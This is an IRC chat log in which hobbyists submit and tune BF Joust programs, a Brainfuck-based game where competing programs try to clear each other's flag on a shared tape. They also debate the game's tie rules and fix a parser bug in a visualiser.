22:42:46 <fizzie> ais523: It's just that the Wiki rules for the original variant says "A program loses if: [falls off, flag is zero] -- These conditions [as in, both flag-check and running-off] are only evaluated at the end of each cycle -- If both programs lose simultaneously [it's a tie]", and your variant-specification doesn't exactly alter that latter bit.
22:42:57 <elliott> the original variant was beyond broken
22:43:00 <elliott> we should just forget it ever existed
22:43:03 <ais523> fizzie: the non-original variant changes it to "two cycles"
22:43:15 <fizzie> ais523: Yes, but it doesn't change when the test occurs.
22:43:18 <elliott> that's what happens when a fisheries research biologist tries to program!!!!!!
22:43:22 <elliott> </Sgeomeme>
22:43:35 <Sgeo> Wha?
22:43:45 <fizzie> ais523: Anyway, [-] and .[-] work the same way in both interpretations, don't they?
22:43:46 <ais523> fizzie: indeed; it sees that one flag is down for two cycles (loss), and the other flag is down for one cycle (not a loss)
22:43:52 <Sgeo> elliott, a meme only you care about?
22:43:52 <ais523> and both checks are done at the same time
22:44:11 <fizzie> ais523: That's not what this is about, at least not what I've understood.
22:44:34 <elliott> the disagreement is
22:44:37 <ais523> "now replace the man with a computer"?
22:44:46 <ais523> (B Nomic meme, mostly coming up in ##nomic)
22:44:51 <elliott> (>)*9(-)*128 vs. (.)*138<
22:44:55 <elliott> or 137, I can't figure out which
22:45:13 <fizzie> ais523: As far as I know the argument was about when A's flag has been down for two cycles, and B runs off the tape during the cycle when A's flag is it's second 0; whether that's a tie or a loss.
22:45:25 <elliott> err, right
22:45:27 <elliott> Gregor: confirm?
22:45:30 <ais523> oh, second 0 run off
22:45:52 <ais523> I think that's generally considered to be a loss for the player who runs off, but I don't think it's obvious either way
22:45:59 <elliott> so (>)*9(-)*128.> vs. sitting duck
22:46:00 <quintopia> !bfjoust space_elevator http://sprunge.us/WhYM
22:46:00 <elliott> on tape length 10
22:46:08 <EgoBot> Score for quintopia_space_elevator: 60.2
22:46:15 <elliott> yeah, I think running off the edge is "worse"
22:46:19 <fizzie> As in, whether (-)*128 and (.)*128< should be a tie or not.
22:46:22 <Deewiant> DAMMIT QUINTOPIA
22:46:24 <Gregor> The debate is (>[(-)*128>])*30 vs nothing
22:46:28 <Sgeo> !bfjoust home_tripwire ([]+)*-1
22:46:35 <elliott> So Gregor, found the bug yet :P
22:46:36 <Gregor> Err, wait
22:46:36 <Gregor> Yeah, that's right.
22:46:44 <Gregor> elliott: I realized I don't care.
22:46:47 <EgoBot> Score for Sgeo_home_tripwire: 5.3
22:46:53 <fizzie> GreaseMonkey: My example is shorter. :p
22:46:59 <fizzie> s/GreaseMonkey/Gregor/
22:47:01 <fizzie> Damnable tab.
22:47:03 <elliott> <Gregor> TOTES NOT GONNA FIX EGOJOUST BECAUSE LANCE IS AWESOME
22:47:04 <quintopia> prognosis: space_elevator now beats speedy2
22:47:09 <elliott> <Gregor> lance? Pfft, so yesterday
22:47:17 <elliott> ais523: wow ^
22:47:18 <elliott> !bfjous
22:47:18 <Gregor> elliott: I don't care /to fix it/
22:47:19 <elliott> !bfjoust
22:47:20 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:47:32 <elliott> Gregor: FORGOT YOU CAN'T PROGRAM</trollllllll>
22:47:44 <elliott> quintopia: CAN ANYTHING STOP THE SPACE ELEVATOR MASSACRE
22:47:46 <ais523> quintopia: by changing the flag to something that isn't equal to 2 mod 3?
22:47:54 <ais523> or does that not speed it up enough?
22:48:21 <quintopia> ais523: i made the decoys smaller so i could start attacking its flag faster
22:48:39 <Sgeo> quintopia, it's still listed as version 1_0
22:48:45 <ais523> ah, so it's simply a case of outspeeding
22:48:54 <quintopia> sgeo: whoops
22:49:23 <quintopia> !bfjoust space_elevator http://sprunge.us/ahXj
22:49:27 <quintopia> now it says 1_1
22:49:28 <quintopia> happy?
22:49:33 <EgoBot> Score for quintopia_space_elevator: 60.2
22:49:40 <Gregor> D-8
22:49:47 <Deewiant> I refuse to be happy with scores like that
22:50:04 <quintopia> Deewiant: don't get mad. get even!
22:50:40 <Sgeo> We have a possible hero in myndzi
22:50:51 <Deewiant> Hmm, doesn't wireless go too far > before it starts clearing cells?
22:51:24 <ais523> looks like the age of the freakishly complex program is really drawing near
22:51:26 <quintopia> Deewiant: does it ever suicide?
22:51:40 <ais523> is space_elevator intended to be generically good, or to pick on all the existing programs individually?
22:51:45 <Deewiant> It seems like it should on length 10
22:51:55 <Deewiant> Unless my arithmetic is off
22:52:05 <quintopia> Deewiant: check the bfjsout breakdown and see
22:52:08 <elliott> quintopia: now remove all the . comments
22:52:13 <Deewiant> quintopia: It doesn't have a breakdown
22:52:16 <quintopia> elliott: done
22:52:23 <quintopia> sorry
22:52:26 <quintopia> i did it again
22:52:28 <quintopia> egojsout
22:52:31 <Sgeo> quintopia, how does it know tape size?
22:52:40 <quintopia> Sgeo: it doesn't, really.
22:52:40 * elliott is working on antispaceelevator
22:52:48 <elliott> quintopia: <ais523> is space_elevator intended to be generically good, or to pick on all the existing programs individually?
22:53:02 <quintopia> elliott: i was about to answer that. it seems like you're picking on me!
22:53:04 <elliott> I think it's meant to be generically
22:53:08 <ais523> so do I
22:53:16 <elliott> but hey
22:53:18 <elliott> i was right
22:53:20 <elliott> hybrids are possible
22:53:22 <Sgeo> It makes some assumptions thogh
22:53:22 <ais523> I think definder might be tweakable to beat everything except some of impomatic's oddballs
22:53:24 <elliott> quintopia: eat hat plz
22:53:25 <elliott> post video
22:53:28 <ais523> but I'll need to look into it
22:53:37 <quintopia> elliott: sorry. i already ate it.
22:53:42 <elliott> :(
22:54:10 <elliott> < < > > > > > > > > > > > > > > > > > > <
22:54:10 <elliott> < < > > > > > > > > > > > > > > > > > > <
22:54:11 <elliott> how oddball
22:54:32 <quintopia> ais523: i tuned it to beat particular *strategies* not particular programs. it will do well against strategies that are currently being used on the hill, but i don't know how generically good it is.
22:54:44 <ais523> quintopia: seems about right
22:54:49 <ais523> that's what I was doing with definder
22:54:58 <ais523> although I was working from an old hill, which is why it's far from perfect
22:55:30 <quintopia> i think definder has some major promise
22:56:28 <elliott> YES
22:56:32 <elliott> !bfjoust
22:56:32 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:56:36 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*128[-]]]]>)*20(-)*128
22:56:41 <quintopia> esp. since it is one of the few things that beats space_elevator. with some tuning and hybridization, it could dominate.
22:56:41 <EgoBot> Score for elliott_anti_space_elevator: 30.1
22:56:44 <elliott> \o/
22:56:44 <myndzi> |
22:56:45 <myndzi> /´\
22:56:48 <quintopia> lul
22:56:54 <elliott> hey, 30.1 isn't bad
22:57:00 <elliott> and i beat space_elevator on every tape length and polarity
22:57:01 <Gregor> #30 :P
22:57:12 <elliott> heh, i beat defend14 but not defend13
22:57:23 <elliott> Gregor: meh, high up enough
22:57:28 -!- SimonRC has quit (Remote host closed the connection).
22:57:33 <elliott> it's quite a good strategy, in fact
22:57:35 -!- SimonRC has joined.
22:57:42 <elliott> if you're dealing with decoys at both ends of the spectrum
22:57:52 <elliott> and an opponent that doesn't change its flag
22:57:57 <elliott> just so long as it's not a super-fast rush
22:58:05 <elliott> because you take more cycles per 0 cell
22:58:06 <quintopia> elliott: i could beat that too if i treated my own flag like a decoy
22:58:11 <elliott> quintopia: go for it
22:58:17 <elliott> quintopia: that'd be more interesting to anti-
22:58:23 <elliott> this was disappointingly easy
22:58:28 <Gregor> quintopia: It'd be nice if you described the poke strategy on the wiki btw ;)
22:58:54 <quintopia> Gregor: i was actually working on that article earlier, then it dawned on me that decoys were too big, and i had to check it out
22:58:59 <quintopia> i'll go back to it now
23:00:04 <elliott> quintopia: hey, treat your flag like a decoy first :P
23:02:27 <Gregor> It'd be nice if every strategy on the wiki had a short, canonical program to go with it, even if that program wouldn't actually be very good in and of itself.
23:03:23 <quintopia> elliott: no that's not the way i need to beat that. the way to beat that would be to make my first decoy smaller, and then wait less time to start defending
23:03:28 <quintopia> and yes, it is quite a good strategy
23:03:47 <quintopia> Gregor: i've been adding examples
23:06:32 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*129[-]]]]>)*20(-)*128
23:06:39 <EgoBot> Score for elliott_anti_space_elevator: 28.7
23:06:55 <elliott> wat
23:06:59 <elliott> how did it do worse :D
23:07:05 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*129[+]]]]>)*20(-)*128
23:07:17 <EgoBot> Score for elliott_anti_space_elevator: 29.9
23:07:27 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*128[+]]]]>)*20(-)*128
23:07:30 <Sgeo> elliott_anti_space_elevator.bfjoust vs quintopia_space_elevator.bfjoust:
23:07:30 <Sgeo> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
23:07:30 <Sgeo> elliott_anti_space_elevator.bfjoust wins
23:07:32 * Sgeo claps
23:07:33 <EgoBot> Score for elliott_anti_space_elevator: 22.4
23:07:41 <elliott> shrug
23:08:01 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*128[-]]]]>)*20(-)*128
23:08:05 <EgoBot> Score for elliott_anti_space_elevator: 29.9
23:08:26 <elliott> ...
23:08:30 <elliott> ok, who submitted a program
23:09:12 <Gregor> elliott: It could also just be whatever you knocked off the hill.
23:09:32 <elliott> True.
23:09:55 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*128[-]]]]>)*20(-)*128[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
23:10:00 <EgoBot> Score for elliott_anti_space_elevator: 29.6
23:10:04 <elliott> x_x
23:10:27 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-]]]])*20>(.-)*10000
23:10:35 <EgoBot> Score for Deewiant_pendolino: 41.6
23:10:43 <elliott> !bfjoust anti_space_elevator (>)*9([-[++[(-)*128[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]>)*20(-)*128
23:11:00 <EgoBot> Score for elliott_anti_space_elevator: 26.4
23:11:09 <elliott> X-D
23:11:34 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].]]])*21
23:11:43 <EgoBot> Score for Deewiant_pendolino: 40.8
23:13:34 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.-]]]])*21
23:13:53 <EgoBot> Score for Deewiant_pendolino: 41.4
23:14:30 <elliott> We really need something for loops that look like this:
23:14:41 <elliott> -[-[-[-[-[-[-[-[-[-[-[-[-[+(LOTS OF ]S)
23:14:46 <elliott> Any syntax suggestions? :P
23:15:29 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.-]]]])*20>(.-)*-1
23:15:30 -!- SimonRC has quit (Ping timeout: 265 seconds).
23:15:46 <elliott> Gregor: Does egojsout support ([)*n? :P
23:16:20 <EgoBot> Score for Deewiant_pendolino: 36.8
23:17:05 <Gregor> elliott: No
23:17:07 -!- SimonRC has joined.
23:17:17 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.-]]]])*10(>[+[--[(-)*9[+].[.+]]]])*10>[-[++[(+)*9[-].[.-]]]]
23:17:30 <EgoBot> Score for Deewiant_pendolino: 40.9
23:18:16 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-][.-]]]])*21
23:18:23 <EgoBot> Score for Deewiant_pendolino: 38.6
23:18:33 <Deewiant> !bfjoust pendolino -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:18:35 <elliott> NOTE TO SELF: Tape length 17.
23:18:41 <EgoBot> Score for Deewiant_pendolino: 42.3
23:18:41 <elliott> Gregor: Then it doesn't support testing against defend14?
23:18:44 <elliott> And the like?
23:18:45 <quintopia> gregor. i may have found a bug in egojsout
23:19:01 <Gregor> elliott: defend14 has ([)???
23:19:11 <elliott> Gregor: Yep. Actually (a[b)*n I think.
23:19:15 <Gregor> >_<
23:19:19 <Deewiant> !bfjoust pendolino -(>)*6-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:19:19 <Gregor> quintopia: Yes?
23:19:26 <EgoBot> Score for Deewiant_pendolino: 41.4
23:19:26 <quintopia> Gregor: it actually just stopped simulating this program
23:19:39 <Deewiant> !bfjoust pendolino -(>)*5(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:19:49 <quintopia> Gregor: the traces show the instructions in all the correct places, but the program pointer isn't moving
23:19:50 <EgoBot> Score for Deewiant_pendolino: 42.6
23:20:04 <Gregor> quintopia: And the programs ARE?
23:20:14 <quintopia> Gregor: lemme make sure i can repro first
23:20:25 <elliott> Hmm, I think I've thought of a syntax for my loop thing.
23:20:46 <quintopia> Gregor: do poke on the left and (>)*8(>[(<)*8(-)*33(>)*9([-[++[(+)*9[-]]]]>)*21])*21 on the right. look at tape length 30
23:20:56 <Deewiant> !bfjoust pendolino -(>)*6(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:21:00 <EgoBot> Score for Deewiant_pendolino: 34.5
23:21:05 <elliott> (a{b}c)&3 -> aaabccc
23:21:07 <elliott> Specifically,
23:21:17 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:21:23 <elliott> (a{b}c)&0 -> b; (a{b}c)&(n+1) -> a(a{b}c)&nc
23:21:23 <Gregor> quintopia: You have unmatched [] in (), which egojsout neither supports nor checks for
23:21:27 <elliott> Any objections?
23:21:32 <elliott> For instance,
23:21:35 <EgoBot> Score for Deewiant_pendolino: 43.3
23:21:43 <elliott> (-[+[{-}]])&n
23:21:47 <elliott> generates e.g.
23:21:54 <elliott> +[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-[+[-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
23:21:55 <quintopia> Gregor: then it should say parse error instead of simulating the program like it's working
23:22:04 <Gregor> quintopia: It never gives parse errors, I'm lazy :P
23:22:24 <quintopia> Gregor: where is the unmatched bracket?
23:22:24 <elliott> GUYS I PROPOSED NEW SYNTAX, HI
23:22:38 <Gregor> quintopia: (>[(<)*8
23:22:52 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*20<(+)*20(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:23:05 <EgoBot> Score for Deewiant_pendolino: 41.9
23:23:06 <quintopia> Gregor: then you're matching wrong
23:23:11 <quintopia> ohn
23:23:13 <quintopia> nvm
23:23:13 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*20<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:23:16 <quintopia> i dropped a P
23:23:17 <quintopia> (
23:23:23 <EgoBot> Score for Deewiant_pendolino: 41.1
23:23:24 <quintopia> wait no
23:23:30 <quintopia> WTF GREGOR THAT'S PERFECTLY RIGHT
23:23:44 <Gregor> Ohwait, I misread X-P
23:23:51 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*20(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:23:55 <EgoBot> Score for Deewiant_pendolino: 40.9
23:24:09 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*25<(+)*25(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:24:18 <EgoBot> Score for Deewiant_pendolino: 40.5
23:24:21 <quintopia> Deewiant: what are you tuning for?
23:24:26 <quintopia> decoy size?
23:24:27 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*28<(+)*28(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:24:32 <EgoBot> Score for Deewiant_pendolino: 43.0
23:24:33 <Deewiant> Yeah, now
23:24:40 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*35<(+)*35(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:24:42 <quintopia> Gregor: any idea what that is?
23:24:52 <Gregor> quintopia: Which is it that's stuck for you, poke or the other?
23:25:09 <EgoBot> Score for Deewiant_pendolino: 42.6
23:25:17 <quintopia> ah, it appears to be poke
23:25:27 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*42<(+)*42(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:25:30 <Gregor> quintopia: In that case, it's because *20 is wrong, you wanted *21 :P
23:25:33 <EgoBot> Score for Deewiant_pendolino: 42.2
23:25:35 <quintopia> Gregor: thx
23:25:36 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*31<(+)*31(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:25:46 <EgoBot> Score for Deewiant_pendolino: 43.0
23:25:46 <quintopia> i was confused because poke was still winning
23:25:49 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:25:55 <EgoBot> Score for Deewiant_pendolino: 43.3
23:25:56 <quintopia> but realized it was the other one suiciding XD
23:26:25 <elliott> how does one tell vi to blink matching parens? :P
23:26:30 <elliott> without any syntax mode
23:26:49 <Deewiant> :set sm
23:27:03 <elliott> Thanks.
23:27:14 <Deewiant> Note: Use of the short form is rated PG.
23:27:49 <Sgeo> short form?
23:27:59 <Deewiant> Instead of :set showmatch.
23:28:09 <quintopia> !bfjoust poke http://sprunge.us/IhJd
23:28:20 <Sgeo> I don't geddit
23:28:21 <EgoBot> Score for quintopia_poke: 4.1
23:28:25 <Sgeo> S&M?
23:28:26 <quintopia> wat
23:28:48 <quintopia> oh that change didn't stick
23:29:43 <quintopia> !bfjoust poke http://sprunge.us/MEhZ
23:29:48 <EgoBot> Score for quintopia_poke: 0.0
23:29:53 <quintopia> XD
23:30:19 <elliott> !bfjoust
23:30:20 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
23:30:26 <elliott> !bfjoust slowest_fucking_rush_in_all_of_history (>)*8+[>[-[++[-[-[-[-[-[-[-[-[(+)*9[+[+[+[+[+[+[+[(-)*136[-]]]]]]]]]]]]]]]]]]]]+]
23:30:32 <quintopia> !bfjoust poke http://sprunge.us/ATag
23:30:34 <EgoBot> Score for elliott_slowest_fucking_rush_in_all_of_history: 13.6
23:30:37 <elliott> X-D
23:31:03 <elliott> !bfjoust slowest_fucking_rush_in_all_of_history (>)*9([-[++[-[-[-[-[-[-[-[-[(+)*9[+[+[+[+[+[+[+[(-)*136[-]]]]]]]]]]]]]]]]]]]]>)*20
23:31:08 <EgoBot> Score for elliott_slowest_fucking_rush_in_all_of_history: 20.0
23:31:16 <elliott> Good against programs that fill the entire tape with decoys instantly :P
23:31:22 <elliott> !bfjoust slowest_fucking_rush_in_all_of_history <
23:31:26 <EgoBot> Score for elliott_slowest_fucking_rush_in_all_of_history: 0.0
23:31:44 <elliott> !bfjoust snorlax (.)*3000(>)*9([-[++[-[-[-[-[-[-[-[-[(+)*9[+[+[+[+[+[+[+[(-)*136[-]]]]]]]]]]]]]]]]]]]]>)*20
23:31:50 <EgoBot> Score for elliott_snorlax: 12.1
23:31:58 <elliott> !bfjoust snorlax (.)*-1(>)*9([-[++[-[-[-[-[-[-[-[-[(+)*9[+[+[+[+[+[+[+[(-)*136[-]]]]]]]]]]]]]]]]]]]]>)*20
23:32:03 <EgoBot> Score for elliott_snorlax: 21.6
23:32:05 <quintopia> wat
23:32:06 <elliott> What.
23:32:15 <elliott> X-D
23:32:21 <quintopia> i am so confused elliott
23:32:27 <elliott> 21.6.
23:32:29 <elliott> That is amazing.
23:32:31 <elliott> (And -6.69 points)
23:32:35 <quintopia> !bfjoust poke http://sprunge.us/ATag
23:32:36 <elliott> Gregor: I love your score system :P
23:32:42 <EgoBot> Score for quintopia_poke: 42.0
23:32:43 <EgoBot> Score for quintopia_poke: 42.0
23:32:45 <quintopia> oh
23:32:46 <quintopia> weird
23:32:53 <elliott> ais523_defend13.bfjoust vs elliott_snorlax.bfjoust:
23:32:53 <elliott> >>>>><<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>< >>>>>>>>>>>>>>>>>>>>< >>>>><<<<<<<<<<<<<<<<
23:32:53 <elliott> elliott_snorlax.bfjoust wins
23:32:54 <quintopia> it did them out of order with elliott's
23:32:54 <elliott> ais523: How...
23:33:09 <elliott> omg
23:33:09 <Gregor> elliott: Whether you're being sarcastic or not, the score system actually is pretty good.
23:33:09 <elliott> sotp
23:33:12 <elliott> everyone stop
23:33:14 <ais523> elliott: probably a misdetection
23:33:15 <elliott> neon_glow is at the bottom
23:33:17 <Gregor> elliott: It's good for hill churn.
23:33:18 <elliott> we do NOT want it to fall off
23:33:20 <elliott> it's the oldest
23:33:23 <elliott> !bfjoust shieeeeeeet <
23:33:29 <EgoBot> Score for elliott_shieeeeeeet: 0.0
23:33:29 <ais523> meh, it deserves to fall off if it can't cut it
23:33:33 <quintopia> !bfjoust minipoke (>)*8(>[(<)*8(-)*33(>)*8([-[++[(+)*9[-]]]]>)*21])*21
23:33:35 <elliott> NOOOOO
23:33:37 <quintopia> FALL OFF!
23:33:37 <elliott> IT'S GONE!
23:33:39 <quintopia> WOOOOO!
23:33:40 <elliott> THE OLDEST PROGRAM ON THE HILL!
23:33:40 <quintopia> :D
23:33:42 <elliott> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
23:33:44 <elliott> ;_;
23:33:45 <EgoBot> Score for quintopia_minipoke: 20.9
23:33:55 <quintopia> !bfjoust minipoke <
23:34:05 <EgoBot> Score for quintopia_minipoke: 0.0
23:34:14 <elliott> ais523: you should write a program to figure out the optimal [-[++[-[-[-[-[-[-[-[-[(+)*9[+[+[+[+[+[+[+[(-)*136[-]]]]]]]]]]]]]]]]]]]]-style loop
23:34:29 <elliott> i.e. a loop that is effectively a bunch of limited [-] and [+]s
23:34:34 <elliott> you could also mix it up with [-[+[-
23:34:37 <elliott> :P
23:34:41 <elliott> or [+.[+.[+.
23:34:49 <ais523> I wondered about that, but it would be massively complex and probably very hill-dependent
23:34:53 <ais523> definder was crazy enough
23:35:04 <ais523> e.g. the -------------------------..+ bit in definder1
23:35:13 <elliott> ais523: well, the fact that snorlax actually got points for that loop...
23:35:26 <ais523> not very many
23:36:31 <quintopia> elliott: my guess is something binary search-like
23:36:37 <quintopia> for maximum staying power
23:37:02 <elliott> ais523: yes, but that's because it's bloody stupid
23:37:12 <quintopia> as that would be guaranteed to take no more than twice as long + O(1) as it needed to if it knew which direction to go
23:37:14 <elliott> ais523: it's basically (>)*9([-]>)*20, except with a better loop
23:37:20 <elliott> ais523: a better strategy with that loop...
23:37:22 <ais523> quintopia: you can't know what direction to go
23:37:33 <quintopia> ais523: exactly
23:37:35 <ais523> oh, you mean +1, -2, +4, -8, +16, etc
23:37:41 <ais523> not really binary search, more a binary oscillation
23:37:49 <quintopia> well
23:37:58 <quintopia> i did the calculation once
23:38:19 <elliott> yeah the problem with that is that it oscillates
23:38:20 <quintopia> and it actually takes at most 9x as long as it would have knowing the right direction
23:38:36 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30(>)*6(>[-[++[(+)*9[-].[.+]]]])*21
23:38:40 <elliott> the stupidest form is ([-{+}])%n
23:38:41 <EgoBot> Score for Deewiant_pendolino: 36.8
23:38:42 <quintopia> so for small deviations, it's not bad
23:38:53 <elliott> erm
23:38:55 <quintopia> for big ones, it's better to just go all the way around the cell
23:38:56 <elliott> the stupidest form is ([-{[+]}])%n
23:39:02 <Deewiant> !bfjoust pendolino -(>)*6(+)*10<(-)*10<(-)*30<(+)*30(>)*5(>[-[++[(+)*9[-].[.+]]]])*21
23:39:02 <elliott> for some n
23:39:06 <EgoBot> Score for Deewiant_pendolino: 37.4
23:39:18 <elliott> the second-stupidest form is ([-{[(+)*n+]}])%n
23:39:18 <Deewiant> !bfjoust pendolino -(>)*5(+)*10<(-)*10<(-)*30<(+)*30(>)*6(>[-[++[(+)*9[-].[.+]]]])*21
23:39:24 <EgoBot> Score for Deewiant_pendolino: 40.3
23:39:47 <Deewiant> !bfjoust pendolino -(>)*4(+)*30<(-)*30<(-)*10<(+)*10(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:40:04 <EgoBot> Score for Deewiant_pendolino: 39.9
23:40:27 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*11[-].[.+]]]])*21
23:40:33 <EgoBot> Score for Deewiant_pendolino: 41.9
23:40:51 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*8[-].[.+]]]])*21
23:40:52 <elliott> Deewiant: Tweaker.
23:40:56 <Deewiant> Yep
23:41:00 <Gregor> OK, EgoJSout now (somewhat poorly) reports parse errors.
23:41:08 <Gregor> Making defend14 vs wiggle3 very amusing.
23:41:09 <EgoBot> Score for Deewiant_pendolino: 37.7
23:41:12 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(-)*9[+].[.-]]]])*21
23:41:17 <EgoBot> Score for Deewiant_pendolino: 35.2
23:42:01 <elliott> Gregor: SO DO TWO PARSE ERRORS DRAW
23:42:14 <Gregor> elliott: Anything that didn't match becomes a noop.
23:42:18 <elliott> It was a joke.
23:42:30 <Gregor> elliott: So's your face, but you don't see me laughing.
23:42:37 <elliott> Yes I do.
23:42:55 <Gregor> <elliott> In my dreams.
23:43:02 <quintopia> !bfjoust stupiddefender http://sprunge.us/fgNG
23:43:13 <EgoBot> Score for quintopia_stupiddefender: 16.1
23:43:16 <elliott> Gregor wishes I dreamt about him.
23:43:19 <elliott> quintopia: heh, was that program-generated?
23:43:23 <quintopia> yes
23:43:25 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[(+)*9[-].[.+]]]])*21
23:43:30 <EgoBot> Score for Deewiant_pendolino: 43.3
23:43:30 <elliott> I should have a go at generating some programs
23:43:34 <elliott> maybe with Mathematica, just for the hell of it :-D
23:43:35 <quintopia> it's my example for the wiki
23:43:45 <elliott> quintopia: err, something shorter would be nicer
23:43:47 <quintopia> just making sure that the examples suck enough to go on the wiki
23:43:51 <elliott> and more comprehensible
23:43:53 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+++[(+)*9[-].[.+]]]])*21
23:43:53 <Gregor> Hah X-D
23:43:58 <EgoBot> Score for Deewiant_pendolino: 42.7
23:44:02 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+[(+)*9[-].[.+]]]])*21
23:44:09 <EgoBot> Score for Deewiant_pendolino: 37.7
23:44:17 <Gregor> quintopia: I was actually considering extending that article once it gets some strategies by listing all or most of the programs that have ever been #1 and the strategies they use.
23:44:23 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+++[(+)*8[-].[.+]]]])*21
23:44:23 <quintopia> elliott: i can make it shorter, but not more comprehensible. it's a fucking defender for crissake
23:44:24 <Gregor> It's like how chess masters study former chess games :)
23:44:29 <EgoBot> Score for Deewiant_pendolino: 44.1
23:44:31 <elliott> ais523: show him defend1
23:44:32 <elliott> :P
23:44:46 <elliott> Gregor: Ooh, ooh, we need cycle-by-cycle commentary.
23:44:48 <ais523> defend1 isn't very good
23:44:50 <elliott> It'd be almost as tedious as it is for chess!
23:44:54 <elliott> ais523: but it's simpler than what quintopia did
23:44:58 <elliott> all we need is a defender, not a good one
23:44:59 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++++[(+)*7[-].[.+]]]])*21
23:45:04 <EgoBot> Score for Deewiant_pendolino: 43.3
23:45:07 <Gregor> elliott: I think just a brief paragraph per will be sufficient :P
